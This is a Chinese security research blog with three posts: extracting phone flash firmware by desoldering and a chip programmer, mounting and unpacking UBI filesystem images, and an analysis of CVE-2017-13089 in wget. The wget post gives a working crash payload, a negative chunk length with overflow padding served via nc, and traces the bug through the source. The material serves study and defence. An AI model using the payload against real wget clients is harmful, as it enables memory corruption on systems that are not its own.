2019年1月8日星期二

IoT(九)热风枪拆焊&编程器提取固件

0x1 热风枪拆焊

分析IoT设备时,如果通过其他方式如官网下载、OTA更新等获取不到设备固件时,可以考虑利用编程器直接读取芯片固件。
对于引脚较少且间距较大的芯片,可以直接使用烧录夹连接芯片引脚,通过编程器进行在线读取固件:
然而由于目前PCB电路板大量使用密集引脚和BGA封装的芯片,烧录夹难以使用,故需采用拆焊芯片然后用编程器离线读取的方法,但该方式需要一定的锡焊基础。
拆焊芯片之前,需拆解设备外壳,然后移除芯片上的屏蔽罩。屏蔽罩通常焊在电路板上,可以风枪加热后取下,或者直接暴力拆除,但需小心避免损坏电路板;有少部分屏蔽罩由框架+盖子两层构成,可以直接撬开盖子:

移除屏蔽罩后即可看见裸露的PCB板和上面的芯片,通常较大两个即CPU和flash闪存芯片,不确定时可以根据芯片上印刷的型号进行检索。如下图某手机PCB板,只需拆焊其中的三星flash闪存芯片:
拆焊时为避免烧坏PCB板上零器件,风枪温度不可过高(有铅锡熔点是183℃,拆除理想温度是185~190℃。无铅锡熔点是217℃拆除理想温度是235℃。实际操作更复杂),以300~350度为宜,选择3档及以上风量,将风枪口放置在芯片上方5CM的高度来回摆动让芯片所有引脚受热均匀,注意要给周围的元器件贴上高温胶带防止被风枪吹掉或损坏,吹稍长一点时间,直到用镊子轻轻取下:
拆焊下来的芯片通常如图沾有一些胶水和不规整的焊锡,故需清理干净以供编程器读取,如有必要还需对芯片触点植上锡球:

0x2 编程器提取固件

以Android手机等设备为例,常见的Flash闪存芯片使用的BGA封装有以下几种,其中白点为芯片触点,红点则为编程器座子触点。如上图拆焊下的芯片即为eMCP162/186,另外最近手机上较新的UFS芯片使用的BGA封装格式与eMMC153/169相同:

RT809H是性价比较高的入门款eMMC/eMCP通用编程器,编程器淘宝售价800左右,而eMMC/eMCP座子则比较贵通常400+。选择对应芯片的座子和框架,座子与编程器底部对齐,芯片方向与座子对齐:
在RT809H编程器软件里面,点击智能识别 SmartID,软件即可自动识别芯片类型,如下图自动识别为EMMC_AUTO,识别成功后,点击读取 Read即可提取设备固件。如果芯片与座子不匹配,软件会提示过流保护!等信息:

若芯片方向不对,或芯片触点锡球大小不一等导致的编程器与芯片接触不良,软件会提示座子引脚接触不良:

转接座与芯片匹配,点击读取 Read即可弹出保存,保存的文件如下,其中EMMC_AUTO_5514.BIN即为用户数据/data/分区,由于本次读取的芯片有一定的损伤(经验太少,导致芯片触点刮花了一部分),所以导致数据读取出现错误:
提取出来的用户数据文件即便是有错误的EMMC_AUTO_5514.BIN,依然可以通过binwalk -eM EMMC_AUTO_5514.BIN进行递归提取其中内容,结果如下,其中部分保留了完整的文件名和文件路径,部分则是以偏移地址命名的zip包(binwalk输出的信息有原始文件名和文件路径信息,故还需要对binwalk有进一步的了解才行):

2019年1月4日星期五

IoT(八)ubi文件系统挂载&解包

0x1 UBI文件系统简介

UBI文件系统是linux-2.6.27后内核新加入的flash文件系统,开发环境主机要求至少是在linux2.6.27后的内核,且已经有nandsim,ubi等相关模块。
UBI没有FLASH转换层(FTL,Flash Translation Layer),只能工作在裸的flash,因此它不能用于消费类FLASH如MMC, RS-MMC, eMMC, SD, mini-SD, micro-SD, CompactFlash, MemoryStick等,但UBI在嵌入式设备中被广泛使用。
UBI文件系统不能直接挂载,而是要用 nandsim 模拟出一个 mtd 设备,而且这个 mtd 设备要与 ubi 镜像的参数保存一致,否则后面的挂载会失败。
这些参数包括 mtd 设备的物理块擦除大小 (Physical Erase Block, PEB) 和 页大小 (Page Size)。
ubi 镜像有多个 PEB 组成,每个 PEB 包括以下三部分内容
[ UBI_EC_HDRUBI_VID_HDRDATA (LEB) ]
这是 ubi 镜像的头部,从 ubi-header.h 中可以了解到这个头部各个字节的含义:
ubi-header.h
struct ubi_ec_hdr {
  uint32_t magic;  //红色,#define UBI_EC_HDR_MAGIC  0x55424923
  uint8_t  version;
  uint8_t  padding1[3];
  uint64_t ec; /* Warning: the current limit is 31-bit anyway! */
  uint32_t vid_hdr_offset;   //蓝色,偏移为0x800=2KB
  uint32_t data_offset;     //黄色,偏移为0x1000=4KB
  uint8_t  padding2[36];
  uint32_t hdr_crc;
} __attribute__ ((packed));
通常UBI_EC_HDRUBI_VID_HDR 要么在每个 PEB 的头部各占一页大小,要么都在第一页。若第一种,则页大小为2KB;若第二种页大小为4KB。nand flash 常见的页大小是 512byte 和 2KB,4KB 比较少见,故先推测为2KB。
通过检索UBI_EC_HDR_MAGIC0x55424923,可以确定本次镜像PEB大小为0x20000=128KB,那么 LEB (Logical Erase Block) =PEB-data_offset=128-4=124KB

0x2 挂载方式

UBI文件系统的挂载方式,可以参考Linux mtd使用文档
1,创建一个需要被挂在的目录
# mkdir /mnt/loop
2,载入mtd模块
# modprobe mtdblock
3,载入ubi模块(前提你的linux环境以支持ubi模块)
# modprobe ubi
4,载入nandsim来模拟nand设备
# modprobe nandsim first_id_byte=0x2c second_id_byte=0xf1 third_id_byte=0x80 fourth_id_byte=0x95   
// disk size=128MB, page size=2048 bytes,block size=128KB
nandsim指定的参数需要根据镜像的闪存芯片来选择,以下图某设备为例,存储芯片型号为29F1G08ABAEA,通过检索可知为Micron镁光1Gb=128MB容量闪存:
重点阅读 Read ID 部分,nandsim 后面跟的 4 个参数是 nand flash 芯片的 ID,前三个参数为厂商ID、芯片ID等不太关键的参数,而第 4 个参数决定了生成的 mtd 设备的 PEB 和 页大小。
5,检查加入模块的环境
# cat /proc/mtd
dev: size erasesize name
mtd0: 08000000 00020000 "NAND simulator partition 0"
//即镜像大小size=128MB,PEB=erasesize=128KB
# ls -la /dev/mtd*
crw-rw---- 1 root root 90, 0 2013-08-17 20:02 /dev/mtd0
crw-rw---- 1 root root 90, 1 2013-08-17 20:02 /dev/mtd0ro
brw-rw---- 1 root disk 31, 0 2013-08-17 20:03 /dev/mtdblock0 
# mtdinfo /dev/mtd0
mtd0
Name:                           NAND simulator partition 0
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          1024 (134217728 bytes, 128.0 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:0
Bad blocks are allowed:         true
Device is writable:             true
6,将 ubi 与 /dev/mtd0 关联
# modprobe ubi mtd=0
7,把rootfs.ubi加载到mtd的块设备,在这里需要安装mtd-utils工具箱(ubuntu下 直接apt-get install mtd-utils)
# apt install mtd-utils
# ubidetach /dev/ubi_ctrl -m 0     // 格式化前先解绑定
# ubiformat /dev/mtd0 -s 2048 -f rootfs.ubi -O 2048   
ubiformat: mtd0 (nand), size 134217728 bytes (128.0 MiB), 1024 eraseblocks of 131072 bytes (128.0 KiB), min. I/O size 2048 bytes
libscan: scanning eraseblock 1023 -- 100 % complete  
ubiformat: 1024 eraseblocks are supposedly empty
...
ubiformat: flashing eraseblock 208 -- 100 % complete  
ubiformat: formatting eraseblock 1023 -- 100 % complete 
// 指令功能类似于`dd if=rootfs.ubi of=/dev/mtdblock0 bs=2048`
//-O参数用来指定VID header offset,默认是512,本次镜像从上文分析得知为2048
遇到的坑
  • ubiformat: error!: file “rootfs.ubi” (size 27267072 bytes) is not multiple of eraseblock size (131072 bytes)
    • 如果确定文件rootfs.ubi块大小正确,可以详细检查文件,如下图,某设备镜像就修改了最后一个块的位置,将之修改回正确地址0x1a00000(删掉前面0x12个FF)
    • 修改完成后继续ubiformat,此时提示最后一个修改的块CRC校验错误
      • ubiformat: flashing eraseblock 208 — 100 % complete ubiformat: error!: bad CRC 0xa092c947, should be 0x350fcaaa
      • 0x350fcaaa是原始值,将之修改为提示的0xa092c947即可ubiformat成功

        ubiformat: 208 eraseblocks have valid erase counter, mean value is 3
        ubiformat: 1 eraseblocks are supposedly empty
        ubiformat: 815 corrupted erase counters
        ubiformat: warning!: only 208 of 1024 eraseblocks have valid erase counter
        ubiformat: erase counter 0 will be used for all eraseblocks
        ubiformat: note, arbitrary erase counter value may be specified using -e option
        ubiformat: continue? (y/N) y
        ubiformat: use erase counter 0 for all eraseblocks
        ubiformat: flashing eraseblock 208 -- 100 % complete  
        ubiformat: formatting eraseblock 1023 -- 100 % complete
        
8,将ubi模块与已载入了rootfs.ubi的mtd模块关联
# ubiattach /dev/ubi_ctrl -m 0 -O 2048
UBI device number 0, total 1024 LEBs (130023424 bytes, 124.0 MiB), available 1000 LEBs (126976000 bytes, 121.1 MiB), LEB size 126976 bytes (124.0 KiB)
-m指定挂在在mtd0上
-O参数用来指定VID header offset,默认是512,本次镜像从上文分析得知为2048
到这里,模块载入成功,从输出信息可以知道rootfs.ubi镜像大小为124MB、共1024个块,每个LEB (Logical Erase Block) 大小为124KB
9,创建ubi分卷
# ubimkvol /dev/ubi0 -N ubifs_0 -m
10,挂载该模块到指定目录就OK
# mount -t ubifs ubi0:ubifs_0 /mnt/loop/
# ls -ahl /mnt/loop/
总用量 4.0K
drwxr-xr-x 22 root root 1.5K 4月  17  2018 .
drwxr-xr-x  6 root root 4.0K 12月 29 02:51 ..
drwxr-xr-x  2 root root 7.7K 4月  17  2018 bin
drwxr-xr-x  2 root root  160 4月  11  2018 boot
drwxr-xr-x  3 root root  224 4月  17  2018 data
drwxr-xr-x  2 root root  160 4月  11  2018 dev
drwxr-xr-x 24 root root 4.7K 4月  17  2018 etc
drwxr-xr-x  3 root root  224 4月  17  2018 home
drwxr-xr-x  6 root root  504 4月  11  2018 lib
drwxr-xr-x  5 root root 5.0K 4月  11  2018 lib64
drwxr-xr-x  2 root root  160 4月  11  2018 media
drwxr-xr-x  2 root root  160 4月  11  2018 mnt
drwxr-xr-x  2 root root  160 4月  11  2018 proc
drwxr-xr-x  2 root root  160 4月  11  2018 run
drwxr-xr-x  2 root root 4.1K 4月  17  2018 sbin
drwxr-xr-x  2 root root  160 4月  11  2018 sys
drwxr-xr-x  3 root root  224 4月  17  2018 temp
drwxr-xr-x  7 root root  504 4月  17  2018 test
drwxrwxrwt  2 root root  160 4月  11  2018 tmp
drwxr-xr-x 11 root root  736 4月  17  2018 usr
drwxr-xr-x  8 root root  808 4月  17  2018 var
drwxr-xr-x  3 root root  232 4月  17  2018 vendor
遇到的坑
  • mount: /mnt/loop: unknown filesystem type ‘ubifs’.
    • mount之前先创建ubi分卷即可
11,解挂载&绑定
$ sudo umount /mnt/ubi
$ sudo ubidetach /dev/ubi_ctrl -m 0
查看内核错误信息
如果遇到其他错误可以通过dmesg | tail -20来查看内核错误信息

0x3 ubi解包

上述通过挂载方式读取ubi文件的过程较为繁琐,其实已经有现成开源的解包工具可用。

0x31 ubi_reader

ubi_reader工具地址为:https://github.com/jrspruitt/ubi_reader
可以直接通过pip安装:
//安装依赖
$ sudo apt-get install liblzo2-dev
$ sudo pip install python-lzo
//安装ubi_reader
$ sudo pip install ubi_reader
ubi_reader工具提供了四个脚本:
ubireader_display_info   //获取UBI信息以及布局块等信息
ubireader_extract_images  //提取镜像
ubireader_extract_files  //提取文件内容
bireader_utils_info  //分析UBI镜像并创建shell脚本和UBI配置文件
ubi_reader工具的使用也很简单,可以不需要参数,如下提取镜像里面的文件,输出会保存到./ubifs-root/目录里:
$ ubireader_extract_files rootfs.ubi
$ ls -ahl ./ubifs-root/1726319237/rootfs 
total 0
drwxr-xr-x   22 nirva  staff   704B Dec 29 18:26 .
drwxr-xr-x    3 nirva  staff    96B Dec 29 18:26 ..
drwxr-xr-x  114 nirva  staff   3.6K Apr 17  2018 bin
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 boot
drwxr-xr-x    3 nirva  staff    96B Apr 17  2018 data
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 dev
drwxr-xr-x   69 nirva  staff   2.2K Apr 17  2018 etc
drwxr-xr-x    3 nirva  staff    96B Apr 17  2018 home
drwxr-xr-x    7 nirva  staff   224B Apr 11  2018 lib
drwxr-xr-x   68 nirva  staff   2.1K Apr 11  2018 lib64
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 media
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 mnt
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 proc
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 run
drwxr-xr-x   60 nirva  staff   1.9K Apr 17  2018 sbin
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 sys
drwxr-xr-x    3 nirva  staff    96B Apr 17  2018 temp
drwxr-xr-x    7 nirva  staff   224B Apr 17  2018 test
drwxr-xr-x    2 nirva  staff    64B Apr 11  2018 tmp
drwxr-xr-x   11 nirva  staff   352B Apr 17  2018 usr
drwxr-xr-x   12 nirva  staff   384B Apr 17  2018 var
drwxr-xr-x    3 nirva  staff    96B Apr 17  2018 vendor
遇到的坑
  • ubi_reader工具对于ubi文件要求较为严格,必须补齐每一个块内容,如下当最后一个块内容没填充满,会提示块空间大于文件:
    read Error: Block ends at 27394048 which is greater than file size 27267072
    extract_blocks Fatal: PEB: 208: Bad Read Offset Request
    
    根据PEB块大小,补齐00即可,如下将该块(size=0x20000)用00填充满

0x32 ubidump

相对于ubi_reader,ubidump工具就更为简单,无需对齐块,应该是直接检索块头magic进行提取,该工具地址为:https://github.com/nlitsme/ubidump
ubidump工具只是一个python2的脚本,无需安装,但需要安装依赖:
$ sudo pip install python-lzo
$ sudo pip install crcmod
使用也比较简单:
//查看image.ubi镜像里面的某个文件内容
$ python ubidump.py  -c /etc/passwd  image.ubi
//显示image.ubi镜像内容
$ python ubidump.py  -l  image.ubi
//提取镜像,该指令会在指定目录下生成`rootfs`目录
$ python ubidump.py  -s .  image.ubi
$ ls -ahl ./rootfs
total 0
drwxr-xr-x  11 nirva  staff   352B Dec 29 20:32 .
drwx------  20 nirva  staff   640B Dec 29 20:32 ..
drwxr-xr-x  53 nirva  staff   1.7K Dec 29 20:32 bin
drwxr-xr-x   3 nirva  staff    96B Dec 29 20:32 data
drwxr-xr-x  62 nirva  staff   1.9K Dec 29 20:32 etc
drwxr-xr-x   5 nirva  staff   160B Dec 29 20:32 lib
drwxr-xr-x  38 nirva  staff   1.2K Dec 29 20:32 lib64
drwxr-xr-x  15 nirva  staff   480B Dec 29 20:32 sbin
drwxr-xr-x   3 nirva  staff    96B Dec 29 20:32 temp
drwxr-xr-x   8 nirva  staff   256B Dec 29 20:32 usr
drwxr-xr-x   3 nirva  staff    96B Dec 29 20:32 vendor
不过对比 ubi_reader和ubidump工具的输出结果,可以发现ubi_reader提取的内容更为完整,而且也保留了文件的时间戳信息,而时间戳信息对取证等分析很有帮助:

2019年1月3日星期四

漏洞分析(一)CVE-2017-13089_wget栈溢出

0x0 应用简介

wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。

0x1 漏洞描述

在 2017 年 11 月 12 日 NVD公布了关于 wget 的多个漏洞的情报,在 wget 版本小于1.19.2 的情况下,wget 在处理重定向时,会调用 http.c:skip_short_body()函数, 解析器在解析块时会使用strtol()函数读取每个块的长度,但不检查块长度是否为非负数。解析器试图通过使用MIN()函数跳过块的前512个字节,最终传递参数到connect.c:fd_read()中。由于fd_read()仅会接受一个int参数,在攻击者试图放入一个负参数时,块长度的高32位被丢弃,使攻击者可以控制fd_read()中的长度参数,产生整形缓冲区溢出漏洞。

影响范围

影响版本为:wget <=1.19.1

0x2 漏洞复现

编译 wget-1.19.1:
$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz
$ cd wget-1.19.1
$ ./configure
$ make
$ ./src/wget -V | head -n1
GNU Wget 1.19.1 built on linux-gnu.
引发崩溃的payload文件如下:
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
打开core dump,core dump又叫核心转储, 当程序运行过程中发生异常, 程序异常退出时, 由操作系统把程序当前的内存状况存储在一个core文件中。使用ulimit -c查看core dump是否打开,如果结果为0,则表示此功能处于关闭状态,打开方式如下,同时限制core dump文件大小为1024k:
$ ulimit -c 1024
重现崩溃,通过nc加载payload到本地6666端口,wget通过访问6666端口来加载payload:
$ nc -lp 6666 < payload & wget --debug localhost:6666
[1] 13177
DEBUG output created by Wget 1.19.1 on linux-gnu.

Reading HSTS entries from /root/.wget-hsts
URI encoding = 'ANSI_X3.4-1968'
converted 'http://localhost:6666' (ANSI_X3.4-1968) -> 'http://localhost:6666' (UTF-8)
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2018-12-17 06:28:21--  http://localhost:6666/
Resolving localhost (localhost)... 127.0.0.1, ::1
Caching localhost => 127.0.0.1 ::1
Connecting to localhost (localhost)|127.0.0.1|:6666... connected.
Created socket 3.
Releasing 0x000055a984b6c2e0 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive

---request end---
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
HTTP request sent, awaiting response...

---response begin---
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

---response end---
401 Not Authorized
Registered socket 4 for persistent reuse.
Skipping -4294966528 bytes of body:
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296
bytes of body: [] aborting (EOF received).
*** stack smashing detected ***: wget terminated
[1]+ Done  nc -lp 6666 < payload
Aborted (core dumped)

0x3 通过Valgrind memcheck工具定位漏洞位置

0x31 Valgrind工具简介

Valgrind是用于构建动态分析工具的探测框架。它包括一个工具集,每个工具执行某种类型的调试、分析或类似的任务,以帮助完善你的程序。
  1. Valgrind的架构是模块化的,所以可以容易地创建新的工具而又不会扰乱现有的结构。
  2. Memcheck是一个内存错误检测器。它有助于使你的程序,尤其是那些用C和C++的程序,更加准确。
  3. Cachegrind是一个缓存和分支预测分析器。它有助于使你的程序运行更快。
  4. Callgrind是一个调用图缓存生成分析器。它与Cachegrind的功能有重叠,但也收集Cachegrind不收集的一些信息。
  5. Helgrind是一个线程错误检测器。它有助于使你的多线程程序更加准确。
  6. DRD也是一个线程错误检测器。它和Helgrind相似,但使用不同的分析技术,所以可能找到不同的问题。
  7. Massif是一个堆分析器。它有助于使你的程序使用更少的内存。
    DHAT是另一种不同的堆分析器。它有助于理解块的生命期、块的使用和布局的低效等问题。
  8. SGcheck是一个实验工具,用来检测堆和全局数组的溢出。它的功能和Memcheck互补:SGcheck找到Memcheck无法找到的问题,反之亦然。
  9. BBV是个实验性质的SimPoint基本块矢量生成器。它对于进行计算机架构的研究和开发很有用处。

0x31 Valgrind工具安装

安装Valgrind工具比较简单,linxu下直接apt安装即可:
$ apt install valgrind

0x31 使用Valgrind memcheck定位漏洞位置

  1. 运行payload,即通过nc将payload加载在本地6666端口
    $ nc -lp 6666 < payload
    
  2. 另开一个终端,通过valgrind来运行wget加载payload
    $ valgrind --tool=memcheck ./src/wget localhost:6666
    
  3. 触发crash后,查看memcheck输出,可以看到引发问题的函数为skip_short_body,之后即可开始源码分析

0x4 源码分析

检索skip_short_body,定位到./src/http.c中,skip_short_body代码如下。这段代码逻辑大致为,wget 在检测 short_body 的时候先要检测出传输的块的大小,假若传入的块的大小的值不大于 4096 则进入进入这个漏洞的受害逻辑内;而在contlen = MIN (remaining_chunk_size, SKIP_SIZE)里,只需remaining_chunk_size小于SKIP_SIZE=512,contlen即可控;而之后fd_read()使用了该受控向量,从 fd 读取 bufsize= contlen= remaining_chunk_size个字节到 dlbuf 中,当remaining_chunk_size为负数时,则会引发缓冲区溢出漏洞。
/* Read the body of the request, but don't store it anywhere and don't
   display a progress gauge.  This is useful for reading the bodies of
   administrative responses to which we will soon issue another
   request.  The response is not useful to the user, but reading it
   allows us to continue using the same connection to the server.

   If reading fails, false is returned, true otherwise.  In debug
   mode, the body is displayed for debugging purposes.  */

static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)    //contlen > 4096退出
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);
          //MIN为取小者,remaining_chunk_size小于SKIP_SIZE=512,contlen可控,remaining_chunk_size可小于0
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
      //fd_read() 使用了受控向量contlen,从 fd 读取 contlen 个字节到 dlbuf 中
     //dlbuf=SKIP_SIZE+1,但contlen可为负数,所以会引发缓冲区溢出漏洞
      if (ret <= 0)
        {
          /* Don't normally report the error since this is an
             optimization that should be invisible to the user.  */
          DEBUGP (("] aborting (%s).\n",
                   ret < 0 ? fd_errstr (fd) : "EOF received"));
          return false;
        }
      contlen -= ret;

      if (chunked)
        {
          remaining_chunk_size -= ret;
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              if (line == NULL)
                return false;
              else
                xfree (line);
            }
        }

      /* Safe even if %.*s bogusly expects terminating \0 because
         we've zero-terminated dlbuf above.  */
      DEBUGP (("%.*s", ret, dlbuf));
    }

  DEBUGP (("] done.\n"));
  return true;
}
fd_read定义在./src/connect.c中,从 fd 读取 bufsize 个字节到 buf 中,由于bufsize可控,且可为负数,于是引起缓冲区溢出:

int

fd_read (int fd, char *buf, int bufsize, double timeout)

{

  struct transport_info *info;

  LAZY_RETRIEVE_INFO (info);

  if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))

    return -1;

  if (info && info->imp->reader)

    return info->imp->reader (fd, buf, bufsize, info->ctx);

  else

    return sock_read (fd, buf, bufsize);

}
那么重点在于remaining_chunk_size的赋值,定义如下,其中strtol用于将字符串转换成16进制的long(长整型数),所以关键在于line的值:

remaining_chunk_size = strtol (line, &endl, 16);
line来自fd_read_line (fd),其中fdskip_short_body的输入,即用户输入的数据;而fd_read_line (fd)来自fd_read_hunk()的返回:

char *line = fd_read_line (fd);

skip_short_body (int fd, wgint contlen, bool chunked)

fd_read_line (int fd)

{

  return fd_read_hunk (fd, line_terminator, 128, FD_READ_LINE_MAX);

}
./src/retr.c/fd_read_hunk()源码中描述如下,从描述来看,该函数用于读取HTTP的响应数据,会逐行读取并返回读取到的数据,直到NULL截止;而输入的数据fd是可控的,所以在其中写入一个特定的负值,即可绕过bufsize=dlbuf=SKIP_SIZE+1=512+1的限制,payload中使用-0xFFFFFD00

/* Read a hunk of data from FD, up until a terminator.  The hunk is

   limited by whatever the TERMINATOR callback chooses as its

   terminator.  For example, if terminator stops at newline, the hunk

   will consist of a line of data; if terminator stops at two

   newlines, it can be used to read the head of an HTTP response.

   Upon determining the boundary, the function returns the data (up to

   the terminator) in malloc-allocated storage.

   In case of read error, NULL is returned.  In case of EOF and no

   data read, NULL is returned and errno set to 0.  In case of having

   read some data, but encountering EOF before seeing the terminator,

   the data that has been read is returned, but it will (obviously)

   not contain the terminator.

   The TERMINATOR function is called with three arguments: the

   beginning of the data read so far, the beginning of the current

   block of peeked-at data, and the length of the current block.

   Depending on its needs, the function is free to choose whether to

   analyze all data or just the newly arrived data.  If TERMINATOR

   returns NULL, it means that the terminator has not been seen.

   Otherwise it should return a pointer to the charactre immediately

   following the terminator.

   The idea is to be able to read a line of input, or otherwise a hunk

   of text, such as the head of an HTTP request, without crossing the

   boundary, so that the next call to fd_read etc. reads the data

   after the hunk.  To achieve that, this function does the following:

   1. Peek at incoming data.

   2. Determine whether the peeked data, along with the previously

      read data, includes the terminator.

      2a. If yes, read the data until the end of the terminator, and

          exit.

      2b. If no, read the peeked data and goto 1.

   The function is careful to assume as little as possible about the

   implementation of peeking.  For example, every peek is followed by

   a read.  If the read returns a different amount of data, the

   process is retried until all data arrives safely.

   SIZEHINT is the buffer size sufficient to hold all the data in the

   typical case (it is used as the initial buffer size).  MAXSIZE is

   the maximum amount of memory this function is allowed to allocate,

   or 0 if no upper limit is to be enforced.

   This function should be used as a building block for other

   functions -- see fd_read_line as a simple example.  */
对于payload中的-0xFFFFFD00,通过如下代码计算出remaining_chunk_size的值:

#include <stdio.h>

#include <stdlib.h>

int main ()

{

    char *line="-0xFFFFFD00";

    char *endl;

    printf("长10进制=%ld\n",strtol(line, &endl, 16));

    printf("短10进制=%d\n",strtol(line, &endl, 16));

    printf("长16进制=%lx\n",strtol(line, &endl, 16));

    printf("短16进制=%x\n",strtol(line, &endl, 16));

}
计算结果如下,long类型数据在64位系统中长8字节,即用长数据表示;而在32位系统中长4字节,用短数据表示:
10进制=-429496652810进制=76816进制=ffffffff00000300

短16进制=300
由于fd_read()仅会接受一个int bufsize参数,int类型数据在32/64位系统中都只有4字节;当试图放入8字节的remaining_chunk_size的负参数时,块长度的高4字节被丢弃,则可以控制fd_read()中的长度参数=0x300=768;而buf的大小dlbuf=SKIP_SIZE+1=512+1,从而产生整形栈缓冲区溢出漏洞,故该漏洞也只在64位系统中存在:

int fd_read (int fd, char *buf, int bufsize, double timeout)

0x5 gdb调试分析

0x51 gdb插件安装

GDB实用插件主要有三个:peda、gef、gdbinit,安装方式如下:
//安装gdbinit
$ git clone https://github.com/gdbinit/Gdbinit.git
$ cp Gdbinit/gdbinit ~/.gdbinit
//安装peda
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
//安装gef
# via the install script
